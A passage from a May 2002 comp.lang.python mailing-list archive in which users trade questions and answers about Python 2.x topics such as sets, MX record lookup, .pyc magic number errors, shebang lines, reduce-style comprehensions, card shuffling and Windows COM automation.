(on all three) it prompts you for 'which > python installation to use' - and there are no entries to select. [...] If these are precompiled binaries, you don't have a choice -- they'll work with exactly one interpreter version (which will probably be either 2.1 or 2.2 ATM -- check on the site where you downloaded the binaries). John From max at alcyone.com Fri May 17 18:42:31 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 17 May 2002 15:42:31 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: <3CE58757.5146706E@alcyone.com> Fernando P?rez wrote: > I beg to differ. Mathematically, there's nothing in the idea of a set > that > makes it immutable. I know that Python is not a mathematics-only > language, > but much of the cleanliness of its design does come from following > abstract > ideas as much as is reasonable. And enforcing immutability on a set is > one > hell of a breakage for an object as basic to many mathematical ideas > as a set > is. Sure, but when translating mathematical concepts to programming, practicality always gets in the way. A dictionary, for instance, in essence just a function which maps a set into another. The practical measures of dealing with a dictionary with mutable keys is what dictates that keys must be immutable; enforcing this limitation is a far better alternative than implementing a standard dictionary that must take into account all the nasty side effects of key objects which can change state, thereby affecting the lookup table. (Likely it would involve adding complexity to the _objects_ themselves, such as with notifiers and callbacks to handle the case of changes and conflicts.) I see the same thing happening here. It certainly would be nice if sets could have mutable objects as elements -- in the same way it would be nice if dictionaries could have mutable keys -- but it is not worth the added complexity and headache. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From sholden at holdenweb.com Tue May 14 00:57:04 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 14 May 2002 00:57:04 -0400 Subject: Finding mail exchangers References: Message-ID: "Anthony Baxter" wrote in message news:mailman.1021348163.24212.python-list at python.org... > > >>> "Steve Holden" wrote > > You need to submit a query to a DNS server and decode the reply. > > Look at the code in pydns.sf.net - there's a function in the lazy module > called "mxlookup". For instance, > > >>> import DNS > >>> DNS.DiscoverNameServers() # win or unix, initialise resolver. > >>> DNS.mxlookup('interlink.com.au') > [(0, 'mx1.interlink.com.au'), (50, 'mx2.interlink.com.au')] > Sounds like the perfect solution - I'll suggest that instead of my own hack in future. > > I have code that does this if you'd like a copy (it uses the dnslib code, > > which I can also provide). > > How does your dnslib differ from Guido's original code? At this distance in time it's hard to say. Probably not at all, but there was a time when dnslib wasn't always distributed. Anyhway, since we seem to be in an ongoing problem solved situation, thanks for the information. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From brueckd at tbye.com Mon May 6 12:19:47 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Mon, 6 May 2002 09:19:47 -0700 (PDT) Subject: streaming audio In-Reply-To: <200205061451.g46Ephe11259@localhost.localdomain> Message-ID: On Tue, 7 May 2002, Anthony Baxter wrote: > > >>> brueckd at tbye.com wrote > > If possible, avoid actual streaming protocols as they are quite convoluted > > and proprietary. > > Again, I point to RTP. Ok, just convoluted then. ;-) Seriously though, it is *far* easier to implement a music server by basing it on HTTP than RTP/RTSP, so unless you have need of specific features from those protocols, avoid the extra complexity and make a simple HTTP server (I'd argue that RTP/RTSP is overkill for what the OP wanted). > And most applications (RealPlayer, Quicktime, others) use RTSP as the > control protocol for RTP-based applications. I guess I have a rather low opinion of most streaming applications. Although I don't think HTTP is the best solution to the rich Internet media problem, the current alternatives seem more like short-term hacks. If you take a strictly *client-side perspective*, you really only need a streaming protocol if the rate at which you consume data is greater than your average connection speed; otherwise you can get by with an ongoing HTTP or FTP download. My slow DSL connection far exceeds the rate at which I consume mp3 audio data, and it could easily keep up with a mid-size Divx video "stream" over HTTP; over a LAN I could have a separate video feed going to many TVs. > Ok, so last time I looked Real were abusing the hell out of RTSP and > doing stuff in a non-compliant way, Yup. Don't ever become involved in writing a proxy/cache for any of those guys; it sucks your will to live. In the "olden days" I had to use streaming protocols for both audio and video. My connection speed has increased enough that I *never* use true streaming for audio, and only occasionally for video, and even then the quality (tiny size, loading delay, stops and jitters) leaves me wishing for a vanilla HTTP download with a few second pause at the start to let the player buffer enough of a head start. -Dave From Greg.Lindstrom at acxiom.com Wed May 22 09:48:00 2002 From: Greg.Lindstrom at acxiom.com (Lindstrom Greg - glinds) Date: Wed, 22 May 2002 08:48:00 -0500 Subject: Magic Numbers Message-ID: I have recently switched from Python 2.2 to 2.1 (for CORBA reasons) on Windows 2000 "Professional" and am now getting the following error when I attempt to run a utility script I have written: Traceback (most recent call last): File "C:\pyLib\pySieve.pyw", line 28, in ? from Quitter import Quitter ImportError: Bad magic number in C:\pyLib\Quitter.pyc What have I done, what does it mean, and how do I undo it? Thanks! Greg Lindstrom Acxiom Corporation, mail: CWY10011149 InfoBase Products Development office: (501) 342-1626 301 Industrial Blvd, Conway, AR, 72032 fax: (501) 336-3911 email: Greg.Lindstrom at acxiom.com We who cut mere stones must always be envisioning cathedrals. -- Quarry Worker's Creed ********************************************************************* The information contained in this communication is confidential, is intended only for the use of the recipient named above, and may be legally privileged. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, or copying of this communication is strictly prohibited. If you have received this communication in error, please re-send this communication to the sender and delete the original message or any copy of it from your computer system. Thank You. From sholden at holdenweb.com Thu May 30 11:45:44 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 30 May 2002 11:45:44 -0400 Subject: Making Programs Executable References: <63f2fcbe.0205292047.18fa7fcf@posting.google.com> <3CF5B1FF.4DE65506@bellatlantic.net> Message-ID: "David Lees" wrote (in the wrong order, but we'll forgive his top-posting this once) ... > > seraphim wrote: > > > > I am reading the Python tutorial, and they say to use '#! /usr/bin/env > > python' as the first line to be able to execute the program withought > > having to type 'python file'. I am getting a bad interpreter error. I > > am running Slackware 8.0 and Red Hat 7.3 as well. Any help would be > > nice. > You might want to check path to your python interpreter. Try 'which > python' . Perhaps you don't have the correct path. > He certainly has the correct path to "env". The whole point of that construct is to avoid the need to know the path to the Python interpreter. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From blokeatiidotnet Thu May 16 03:13:54 2002 From: blokeatiidotnet (Rob Hall) Date: Thu, 16 May 2002 15:13:54 +0800 Subject: Jython with JDK1.4 Message-ID: <3ce35b8a$0$29462@echo-01.iinet.net.au> I am having trouble compiling the jython 2.1 demo code. Compile _seems_ to work, but the classes won't run. Is it compatible with jdk1.4? Should I step down to 1.3? Rob From aahz at pythoncraft.com Thu May 9 16:04:01 2002 From: aahz at pythoncraft.com (Aahz) Date: 9 May 2002 16:04:01 -0400 Subject: Python stagnating? References: Message-ID: [p&e] In article , Skip Montanaro wrote: > >Just like every other Python-related thing, support of the various >Python-related websites, in particular www.python.org, is a volunteer thing. >If you find busted links on www.python.org, please send a note to >pydotorg at python.org that says something like > > On http://www.python.org/Jobs.html the link to http://www.zope.com/ > isn't working. No, please do *NOT* send e-mail to pydotorg; that's an internal alias for people who maintain the web site but do not have the time to deal with webmaster (notably Guido). Always please use webmaster at python.org. Guido thanks you. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From martin at v.loewis.de Thu May 30 03:19:36 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 30 May 2002 09:19:36 +0200 Subject: Problems with XML and DTD usage References: <94fJ8.2235$fT5.681070@typhoon.ne.ipsvc.net> Message-ID: "Chris Prinos" writes: > If I parse using validation, the validation takes place, but the > resulting document contains an empty root node. That looks like a bug in xmlproc; please report that to sf.net/projects/pyxml. > Shouldn't parsing with and without validation return the same > document object (assuming it's valid to begin with)? Not necessarily. In the specific case, the XML parsers used (xmlproc and expat) have completely different code bases, so the behaviour is easily different, as well. > And shouldn't the non-validating parser maintain the doctype > declaration in the resulting document instance (even if it's not > used by the parser to validate the xml)? Perhaps, but it just so happens that the underlying parser does not report the doctype, so PyXML cannot record it. You may want to report this as a bug for sf.net/projects/expat. Regards, Martin From abulka at netspace.net.au Sat May 25 09:52:41 2002 From: abulka at netspace.net.au (Andy Bulka) Date: 25 May 2002 06:52:41 -0700 Subject: Windows python 2.2.1 IDLE glitch - unittest output display nothing Message-ID: <13dc97b8.0205250552.4bb86b8c@posting.google.com> When running a script using CTRL-F5 under IDLE under windows 2000, python 2.2.1 I find that unittests run but the resulting stderr output does not appear at all? For example: import unittest, random class TestCase00(unittest.TestCase): def checkA(self): assert 1 def checkB(self): assert 0 def suite(): suite1 = unittest.makeSuite(TestCase00,'check') alltests = unittest.TestSuite( (suite1,) ) return alltests def main(): runner = unittest.TextTestRunner(descriptions=0, verbosity=2 runner.run( suite() ) if __name__ == '__main__': print 'Gonna run some tests...' main() It's as if stderr is 'lost' somewhere. This problem does not appear under linux 2.2.1c - only windows (I can reproduce this problem under two versions of windows 2000.) All my scripts with unittests thus cannot be tested using CTRL-F5 (Run Script), which is pretty serious. What is going on? IDLE under the previous version python 2.1.3 works fine, as do versions 2.1.3 & 2.2.1 of activestate pythonwin (work fine, that is). All versions of IDLEfork 0.8.1 work ok too. Its only the standard IDLE with the latest python 2.2.1 under windows has this problem. -Andy Bulka www.atug.com/andypatterns From jlegault at impathnetworks.com Fri May 10 14:21:52 2002 From: jlegault at impathnetworks.com (Jeremie Legault) Date: Fri, 10 May 2002 14:21:52 -0400 Subject: Accessing Adobe Acrobat Properties from Python Message-ID: <69UC8.6033$w27.1645954@news20.bellglobal.com> I am creating a script that creates an HTML file based on files placed in a directory. All the files will be Adobe Acrobat files. I was wondering if there was a module or something to access the properties of the file such as Title, Author, and description. Alot of the file is binary text so they are accessible in that form. I just thought there might be an easier way. Thanks, Jeremie jlegault at impathnetworks.com jivesojer at hotmail.com From usenet at kenkinder.com Sun May 12 19:57:02 2002 From: usenet at kenkinder.com (Ken Kinder) Date: 12 May 2002 16:57:02 -0700 Subject: Packaging Dependant Files? Message-ID: <42c0ee9e.0205121557.1dee545a@posting.google.com> Let's say I'm writing a GUI (PyGTK) application in Python, and I have a variety of dependant non-Python files, ranging from XML to PNG files that the program loads up and uses for various purposes like displaying icons on buttons bars, etc. What I'd like to do is wrap all these up in a nice little way somehow so I don't have to through the user's hard drive. I don't really know where one might unpack my program. Is there a way I can wrap up these files in a pyc file so I can just import them and get at their data like graphics['foo.png']? Somehow wrap up data in Python source/bytecode files cleanly and easily? Or what would you suggest? This is pretty much a *nix app. (I've been using Python for a long time, but this is my first GUI program) From steve at lurking.demon.co.uk Thu May 30 13:28:24 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Thu, 30 May 2002 18:28:24 +0100 Subject: extended list comprehensions References: Message-ID: <0ojcfucrks9omb1l0r210sdjvgko8e9tb7@4ax.com> On 26 May 2002 14:16:31 -0700, fxj at hotmail.com (F. Jamitzky) wrote: >It would be great to have something like a list comprehension for the >reduce function. It would work in the same way as the comprehension >for the map function, which is: > >[foo(x) for x in xs] <-is the same as-> map(foo,xs) > >and maybe it could be written as: > >{y=y+x for x in xs} <-would be-> reduce(operator.add,xs) > >what do the experts think about that ? > >ferdinand At the moment, the following are syntax errors in Python... [ a = a + b for b in c ] [ a += b for b in c ] so there is certainly no need to create confusion with the dictionary syntax by using braces. I would suggest including the start value as well, in a form similar to... [ a = 0 then a += b for b in c ] or maybe... [ a = 0; a += b for b in c ] As someone who makes heavy use of list comprehensions and reduce functions in a context which cannot be easily replaced with for loops, I would certainly use a feature like this. It is both clearer and more powerful than the current reduce function in one hit - more powerful because it allows a cross product and an if condition to be combined into the 'reduce'. I also have problems remembering the order of parameters for reduce (and map and filter), and this form would remove that problem as well. The only thing I particularly dislike is the fact that enclosing the expression in '[' and ']' suggests that the result is a list, just as using '{' and '}' suggests the result is a dictionary. That might imply that a 'reduce comprehension' should be written as... ( a = 0; a += b for b in c ) the notation being intended to imply a parenthesised subexpression, but even that could cause problems if someone suggests tuple comprehensions (maybe for being potentially faster than list comprehensions in cases where tuples are appropriate). The reason I can't easily translate to for loops is because I have a code preprocessor which can conveniently insert fragments into an expression (so the return value goes to the right place), but which cannot easily find a safe place to put an equivalent for loop or function, or a safe variable to store the result in. I know it's very LISP-ish, but I do like to have everything usable within an expression precisely because of this localisation effect, but I admit that there would be little or no benefit for hand-written code. Even so, I'll suggest one item from my wish-list and how it could be adapted to make 'reduce comprehensions' redundant... First, I'd like to be able to use imperative code within parentheses. Statements would be separated by semicolons (which can already be used to put several statements on a line), but the last semicolon would be followed by an expression for the result (or maybe a return statement should be used). For example... print (x = "Hello"; x) In itself, this is pointless. However, next I'd suggest that the list-comprehension style syntax could potentially make sense as a loop shorthand for statements... y = 0 # Add all ints < 100 that are divisible by three Y += i for i in range (100) if i % 3 == 0 Combining these ideas, 'reduce comprehensions' would not need to be directly supported as you could use... print (y=0; y+=i for i in range(100) if i % 3 == 0; y) I confidently predict that a lot of people will hate this idea with a passion ;-) -- Steve Horne steve at lurking.demon.co.uk From usenet at thinkspot.net Sat May 18 15:51:05 2002 From: usenet at thinkspot.net (Sheila King) Date: Sat, 18 May 2002 12:51:05 -0700 Subject: 2nd Request: Looking for Perl module equivalent References: Message-ID: On Sat, 18 May 2002 21:22:18 +0300 (EEST), Pearu Peterson wrote in comp.lang.python in article : > SciPy contains a relevant module for linux only, see > > http://scipy.net/cgi-bin/viewcvs.cgi/scipy/proc.py?rev=1.2&content-type=text/vnd.viewcvs-markup > > HTH, > Pearu Thanks much for the reply Pearu, I'm forwarding the information onward to my workgroup, and we'll see if this will do what we want. Thanks heaps! -- Sheila King http://www.thinkspot.net/sheila/ http://www.k12groups.org/ From pinard at iro.umontreal.ca Thu May 30 11:38:29 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 30 May 2002 11:38:29 -0400 Subject: Why no open(f, "w").write()? In-Reply-To: References: <200205291422.45264.gherron@islandtraining.com> Message-ID: [The message sent to Peter bounced, let me send it to the list instead.] [Petr Prikryl] > "Explicit is better than implicit." This is another ex-cathedra principle. Do you explicitly `del NAME' for all your local variables, at the end of a function? The system does it implicitly for you, and we are all very happy with this. There is an equilibrium between explicit and implicit, and a sense of good taste going in that equilibrium. But good taste in Python is not the same as for Perl or for C, we need to un-dust ourselves a bit when we switch between languages. > In my opinion, the *short code* does not automatically mean the *elegant*. Fully agreed, there is no guarantee there. On the other hand, it sometimes happens that elegant code is shorter. No reason to feel shy! :-) > The main problem is not with the file object, but with the open file as > with the system resource -- see below. Which open file? It gets closed as soon as expected! > > The nicest is not keeping a reference to the file, whenever it can be > > avoided easily. > Well, but such "laziness" may lead to problems. This is no `laziness' at all. This is an active seek for legibility. I want my code to go straight to the essentials, and that it shows those essentials as clearly as possible. I probably write and rewrite my code much more patiently than many people do, with that goal always in mind. > What happens when it is not possible to write into the 'stuffile'. > [...] Because of the brevity of the code it is also not so explicitly > visible what the write() will do when the file cannot be opened. Python will traceback, magically, wonderfully, with adequate information. > The opened file (when not needed) may cause problems to other applications > that try to do something with the same file. One should not consider any > open file object as the exclusive property of the running application. > Because of that, the file should be closed as soon as possible. But this is exactly what happens. There is no problem, only fears. Once you get use to the paradigm, you discover that it is safe and dependable. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From preklady at seznam.cz Wed May 1 16:14:50 2002 From: preklady at seznam.cz (Václav Sigmund) Date: Wed, 1 May 2002 22:14:50 +0200 Subject: Ways to get number of seconds from Epoch Message-ID: I am a Python newbie and I sudenly run into following problem: I would like to write a tool to analyze the access.log records from my company's webserver, and it would be very convenient for to convert dates date of the record into number of seconds from Epoch (let's call it "standard unix time" for convenience). Each record have recorded time as follows: [15/Apr/2002:08:28:56 +0200] In my opinion, this information should be sufficient to convert the record to "standard unix time". But function mktime from package only accepts tuple with some additional informations like day of week etc. In my opinion, it is the same problem to write my own function that returns "standard unix time" as to write function which will provide me with the additional parameters necesary to use mktime. I don't see any good in writing such functions, so would like to as, if there is some way to get things done with the information I have (the format of date mentioned above)??? Thanks a lot for every tip, you can give me. Best Regards, Vasek Sigmund From tdelaney at avaya.com Tue May 28 21:10:22 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Wed, 29 May 2002 11:10:22 +1000 Subject: New (?) suggestion re: 'while x = f(): ...' Message-ID: > From: Jeff Epler [mailto:jepler at unpythonic.net] > > Why not abuse the 'for' statement, since it performs an > assignment to a > user-determined name? > > Instead of > x = v > if x: > ... > you can write > for x in G(v): > ... > > and instead of > while 1: > x = f() > if not x: break > ... > you can write > for x in H(f): > ... In fact this is not abuse - this is precisely the pythonic way. Especially now that iterators and generators have been added to the language. The classic case is while line = f.readline(): #illegal print line which *should* be replaced by for line in f.readlines(): print line or for line in f.xreadlines(): print line or for line in f: print line and if you want to filter out some of the lines (or break out of the loop when reaching a certain line): def filterLines (f): for line in f: if line: yield line for line in filterLines(f): print line Now, it may be that your function only returns a single value - fine. It's still Pythonic. Tim Delaney From cbrown at metservice.com Thu May 23 01:01:40 2002 From: cbrown at metservice.com (Colin Brown) Date: Thu, 23 May 2002 17:01:40 +1200 Subject: Howto get process id from window handler (windows) References: <33803989.0205210027.65b5c7ec@posting.google.com> Message-ID: <3cec77a1$1@news.nz.asiaonline.net> "Miki Tebeka" wrote in message news:33803989.0205210027.65b5c7ec at posting.google.com... > Hello All, > > I'd like to find a application by name and then terminate it. > EnumWindows gives my the window handle of all current windows, however > TerminateProcess needs a process handle. > > How can I make the link? (hWnd -> hInstance) > > Thanks. > Miki Hi Miki A solution I have been using for doing under-the-hood windows management is to call various "pstools" utilities ( www.sysinternals.com ) with os.system(). "pskill" will kill processes by name or pid. os.system(r'c:\pstools\pskill your_process > nul') Colin Brown PyNZ From siegfried.gonzi at kfunigraz.ac.at Tue May 14 07:49:49 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Tue, 14 May 2002 13:49:49 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> Message-ID: <3CE0F9DD.2706108B@kfunigraz.ac.at> Michael Hudson wrote: > At any rate, if the OS can't claim back a processes memory when said > process terminates, it's definitely Time To Get A Real OS. Even Macs > can do this now... Oh man, the classic Mac OS 9.0 was the reason for me to jump onto the Windows bandwagon eventually. On my Mac rebooting every 30min due to memory problems were normal. You can even hurt a Unix machine (I once had the problem with Clean on a Sun). I have to emphasize that I also used Common Lisp (Allegro) on my machine and some calculations consumed a hour execution time or so; but I never noticed any memory problems (and my Lisp and Python programming style is quite the same). > Summary: if you're on 95/98(/Me?), get off, right now. I am actually using Windows XP (NT 5.1 to be correct) on a Celeron 1000 MHz, 256 MB RAM laptop. To make it clear: Python gives memory back (the task manager shows it), but, I do not know,... S. Gonzi From bgrotan at stud.ntnu.no Sat May 25 11:58:32 2002 From: bgrotan at stud.ntnu.no (=?iso-8859-1?Q?Bj=F8rn?= Ove =?iso-8859-1?Q?Gr=F8tan?=) Date: Sat, 25 May 2002 17:58:32 +0200 Subject: checking wether string needs base64-encoding or not References: <3CEF984D.8FE17EE@stud.ntnu.no> Message-ID: <3CEFB4A8.8FD91C46@stud.ntnu.no> Chris Liechti wrote: > > Bj?rn Ove =?iso-8859-1?Q?Gr=F8tan?= wrote in > news:3CEF984D.8FE17EE at stud.ntnu.no: > > > Can somebody help me with example on how to check if string > > contains characters which needs to be base64-encoded > > mystr = "Wie w?rs mit einem test?" #8 bit data > if filter(lambda x: x>'\x7f', mystr): > print "contains 8 bit data" > else: > print "no more tahan seven bits" thanks! works like a charm... Best regards Bj?rn Gr?tan From tim.one at comcast.net Fri May 10 17:23:35 2002 From: tim.one at comcast.net (Tim Peters) Date: Fri, 10 May 2002 17:23:35 -0400 Subject: Is there such a beast as a "perfect" shuffle? :) In-Reply-To: Message-ID: [Christos Georgiou] > ... > Apart from that, which is just a naive approach, any hints / clues for > building good, uniform random numbers in the range 52! ? [Tim] > This is difficult. Here's one way: > > http://www.faqts.com/knowledge_base/view.phtml/aid/4406/fid/546 [Christopher Browne] > The basic principle is to make sure that you run through them all and > give opportunity for them to get swapped into any position. > > The unbiased way is not quite intuitive... > > - You run through from position 1 to position 52 > > - For each position, select a random location from [present] to > the end of the list. > > - Swap what's in the current location with the contents of that other > random location. If that's all there were to it, Christos could just call random.shuffle(). However, the *real* problem here is so frequently missed that random.shuffle's docstring points it out: >>> import random >>> print random.shuffle.__doc__ x, random=random.random -> shuffle list x in place; return None. Optional arg random is a 0-argument function returning a random float in [0.0, 1.0); by default, the standard random.random. Note that for even rather small len(x), the total number of permutations of x is larger than the period of most random number generators; this implies that "most" permutations of a long sequence can never be generated. >>> Unless the underlying generator has at least 52! distinct internal states, it's incapable of generating all the permutations, no matter how cleverly you apply it (the final outcome is wholly determined by the particular internal state it has when you begin). The link above points to a generator with as much internal state as you can bear to use . From tl_news at nexgo.de Tue May 21 12:38:17 2002 From: tl_news at nexgo.de (Tino Lange) Date: Tue, 21 May 2002 18:38:17 +0200 Subject: PythonCOM Problem: Automating WinFAX from Python Message-ID: Hi! I have a problem with com-based WinFAX (10.02) remote programming. According to the SDK documentation I need to dispatch an arbitrary SDKObject to get the pionter to the "mother-object" Application Server. "The Application Object is not accessible through "CoCreateInstance" or CoGetClassObject" as there are no registry entries associated with this object. The client usually holds a pointerto one of the other WinFax Automation Server Interfaces, which it can use to obtain the application object." In short: How can I translate the following C++-Code to python? // Create application object if (m_sendObj.CreateDispatch("WinFax.SDKSend")) { m_appObj.AttachDispatch(m_sendObj.GetApplication()); m_appObj.LeaveRunning(1); m_sendObj.ReleaseDispatch(); ... } This doesn't work: >>> import win32com >>> import win32com.client >>> send_obj = win32com.client.Dispatch("WinFax.SDKSend") >>> send_obj.GetApplication() Traceback (most recent call last): File "", line 1, in ? File "C:\PROGRA~1\Python2.1\win32com\client\dynamic.py", line 438, in __getatt r__ raise AttributeError, "%s.%s" % (self._username_, attr) AttributeError: WinFax.SDKSend.GetApplication >>> send_obj.GetApplication Traceback (most recent call last): File "", line 1, in ? File "C:\PROGRA~1\Python2.1\win32com\client\dynamic.py", line 438, in __getatt r__ raise AttributeError, "%s.%s" % (self._username_, attr) AttributeError: WinFax.SDKSend.GetApplication >>> Any ideas or hints? Thanks a lot for your help! Tino From gdemmy at layton-graphics.com Thu May 23 11:35:23 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 23 May 2002 11:35:23 -0400 Subject: Executing a system command References: <3cec0fa1_1@news2.newsgroups.com> <3cec8c79_1@goliath2.newsgroups.com> <3cece57f_5@goliath2.newsgroups.com> Message-ID: jb writes: > I already looked at os.environ. It contains the variable TEXINPUTS. I hope > that this environment is passed on to the system call. How can I find out > if there are additional variables I have to set? > If you can run your commands successfully at the command line, then you just need to make sure that your environments match. They should. If the environments match, and you can run your command set at the command line successfully, then you've got some other problem that you'll have to discover. You might consider exploring a different line of reasoning, e.g., os.chdir, doing in python what can be done in python, and using os.system for what can only be done outside of python. Also, start with trivial cases (e.g., simple documents based upon default documentclasses), and work toward the more general and complex. G -- George Demmy Layton Graphics, Inc From vjovanov at stevens-tech.edu Wed May 15 12:59:06 2002 From: vjovanov at stevens-tech.edu (Vojin Jovanovic) Date: Wed, 15 May 2002 12:59:06 -0400 Subject: number of displayed decimal places Message-ID: I would like to know if one can control the number of displayed decimal places in Python similarly to what one can do in MATLAB for example EDU? a=1.12345678901234567890123456789 a = 1.12345678901235 ///default is to display 14 decimal places which is the precision of the calculation EDU? format short ///but the number of decimal places that is displayed can be changed EDU? a a = 1.1235 EDU? format long EDU? a a = 1.12345678901235 //// without changing the precision of the calculations Now, I know that Python can control the outputs with print %f and so on ... but it would be more useful if one can somehow set the number of displayed decimal places in the beginning. Vin From mtaylor at lowebroadway.com Tue May 7 10:40:21 2002 From: mtaylor at lowebroadway.com (Moray Taylor) Date: 7 May 2002 07:40:21 -0700 Subject: Please help! PyQt problems. References: <3cd63ab7$0$209$e4fe514c@dreader3.news.xs4all.nl> Message-ID: Boudewijn Rempt wrote in message news:<3cd63ab7$0$209$e4fe514c at dreader3.news.xs4all.nl>... > > > Moray Taylor wrote: > > > > > The Qt examples work perfectly, however the PyQt ones do not, they all > > fail with either 'Segmentation fault', or sometimes, 'Illegal > > Instruction'. When I try using it with python interactivly, I get this > > far > > > > import qt > > There has been a version of PyQt that had some problems with this > line -- in the latest & greatest version, this has been fixed. (I have > missed that version completely, though). > > Go to: http://www.riverbankcomputing.co.uk/ > Thanks for the tip, but it still doesn't work, another helpful chap has told me it might be something to do with a bug with the PPC linker, has anyone else heard of this problem, and how to fix it? Thanks Moray From ftobin at neverending.org Tue May 7 15:40:00 2002 From: ftobin at neverending.org (Frank Tobin) Date: Tue, 07 May 2002 19:40:00 GMT Subject: problem with linked directory In-Reply-To: References: Message-ID: <20020507144820.W48795-100000@palanthas.neverending.org> SungPil Yoon, on 2002-05-07, wrote: > /home/userdir/dir3 -> /work/userdir/dir3 ... > /home/userdir/dir3> pwd > /home/userdir/dir3 > But os.getcwd function does not work in the way that I hope: > > >>> import os > >>> os.getcwd() > /work/userdir/dir3 You shouldn't be expecting os.getcwd() to give you the linkname. Think about it this way; it doesn't matter how you 'got' to /work/userdir/dir3, whether it be through the symlink or not; getcwd() is only guaranteed to return an absolute pathname of the current working directory, which is not necessarily unique. The only reason that the shell's built-in pwd does what you want is because the shell is keeping around the trail of how you got to the directory (e.g., following the symlink). If you ran /bin/pwd I think you'll find that you get the same result as you did with os.getcwd(). This is not a Python issue; the getcwd(3) library call will do the same. -- Frank Tobin http://www.neverending.org/~ftobin/ From mwh at python.net Mon May 13 04:20:20 2002 From: mwh at python.net (Michael Hudson) Date: Mon, 13 May 2002 08:20:20 GMT Subject: Building Python on Cray T3E References: Message-ID: "Mark Hadfield" writes: > OK, so once I have something working, how can I get my findings into > the installation notes and/or build process? Submit patches to sf, most likely. I've been occasionally to-and-froing with Kalle Svensson about Cray support, but as he's not sure he's actually got a working Python yet I've been reluctant to make changes to the core. > Eg. can the configure script be persuaded to turn off static linking > on this platform? I don't think so. This is arguably a limitation of the current build procedure, but hacking the build system is such a vile job that noone's too keen to do it. I'm certainly not. > How do I get the _sre patch into the source? SF again, most likely. I'd just check it in, but /F owns the sre code, so it would probably be best to run any changes past him first. Cheers, M. -- Considering that this thread is completely on-topic in the way only c.l.py threads can be, I think I can say that you should replace "Oblivion" with "Gravity", and increase your Radiohead quotient. -- Ben Wolfson, comp.lang.python From WeissMike at hotmail.com Fri May 24 08:44:17 2002 From: WeissMike at hotmail.com (Mike Weiss) Date: 24 May 2002 05:44:17 -0700 Subject: Create pywintypes.Time from an mx.DateTime.DateTime Message-ID: <484f9bc8.0205240444.7193f90d@posting.google.com> I'm *very* new to python (C++ programmer) so please bear with me if what I'm asking is completely stupid. I'm using both mxDateTime and the win32 extensions in python v2.2. I'm trying to create a pywintypes.Time (a window's COM date (right?)) FROM an mx.DateTime object. I can go the other way (pywintypes TO mxDateTime). mx.DateTime.COMDate() returns a float, which I can't seem to use to initalize a pywintypes.Time object with. Pywintypes.Time only seems to be able to be created from the integer value used by the basic "time" module in standard python. The basic Python date's 1970 to 2038 year-limits make using a "time" object not at all not possible for me. example: import pywintypes, types, mx.DateTime mxtime = mx.DateTime.Date(2050) print mxtime.Format() #prints "01/01/50 00:00:00" which is right comtime = pywintypes.Time(mxtime.COMDate()) print comtime.Format() #prints "01/01/70 10:13:09" Not right! From aleax at aleax.it Mon May 6 04:15:15 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 08:15:15 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: Martin v. Loewis wrote: > Alex Martelli writes: > >> I don't know if there are all that many .EXE's embedding Python on >> Windows, nor if that was the reason for the (perfectly reasonable) >> choice to build Python itself as a DLL there. > > I feel the choice of putting Python into a DLL is questionable, > atleast for the following reasons: > > - you force extension modules to tie themselves to a specific version > of the Python DLL. This means that there is zero chance that you can That has nothing to do with the DLL - vs - EXE choice, as far as I can see, and everything to do with the choice of NAME for the executable module you package Python's functionality into. If you named the EXE PYTHON22.EXE and so on, you'd be "forcing extensions module" just as much; vice versa, if you named the DLL PYTHON.DLL you would not be forcing those modules to commit. It's not about the extension:-), it's about the filename. > exchange extension modules across Python releases - even though the > Python interpreter itself allows for such sharing (on other > platforms). > > - when freezing Python applications, I would like to have a static > library, not a shared one, so that I get a stand-alone binary. Yes, it IS unfortunate that (up to .NET excluded) Windows won't let an EXE file physically embody the DLLs it needs. Supplying a .LIB for static linking in such special cases would be nice. Of course, extension modules would also have to be linked all together in this case, or you still wouldn't get a stand-alone binary. Since you do need such special linking anyway for this case, it's not a problem, I think, if said hypothetical .LIB is only used for sucn purposes and not for 'normal', unfrozen cases. > OTOH, the "we can embed Python" argument is not so strong as it may > seem: when you embed Python, you still need some glue code for the > container; that glue code could easily link with a static library, > instead of a shared one. Of course, then the question is what to link > extension modules against. Of course. If your embedded-Python EXE uses the same Python DLL as ever other such EXEs, you don't need to relink extensions -- otherwise you do. Thus, not sure what you mean by 'not so strong as it may seem'. Alex From jason at tishler.net Mon May 6 14:27:56 2002 From: jason at tishler.net (Jason Tishler) Date: Mon, 06 May 2002 14:27:56 -0400 Subject: Cygwin Python with static library (was Re: is anybody interested?) In-Reply-To: <200205061731.g46HVOwh015358@ratthing-b246.strakt.com> References: <200205061731.g46HVOwh015358@ratthing-b246.strakt.com> Message-ID: <20020506182755.GQ1668@tishler.net> Laura, Thanks for your response. However, in the future, please keep your replies on-list. On Mon, May 06, 2002 at 07:31:24PM +0200, Laura Creighton wrote: > Yes. 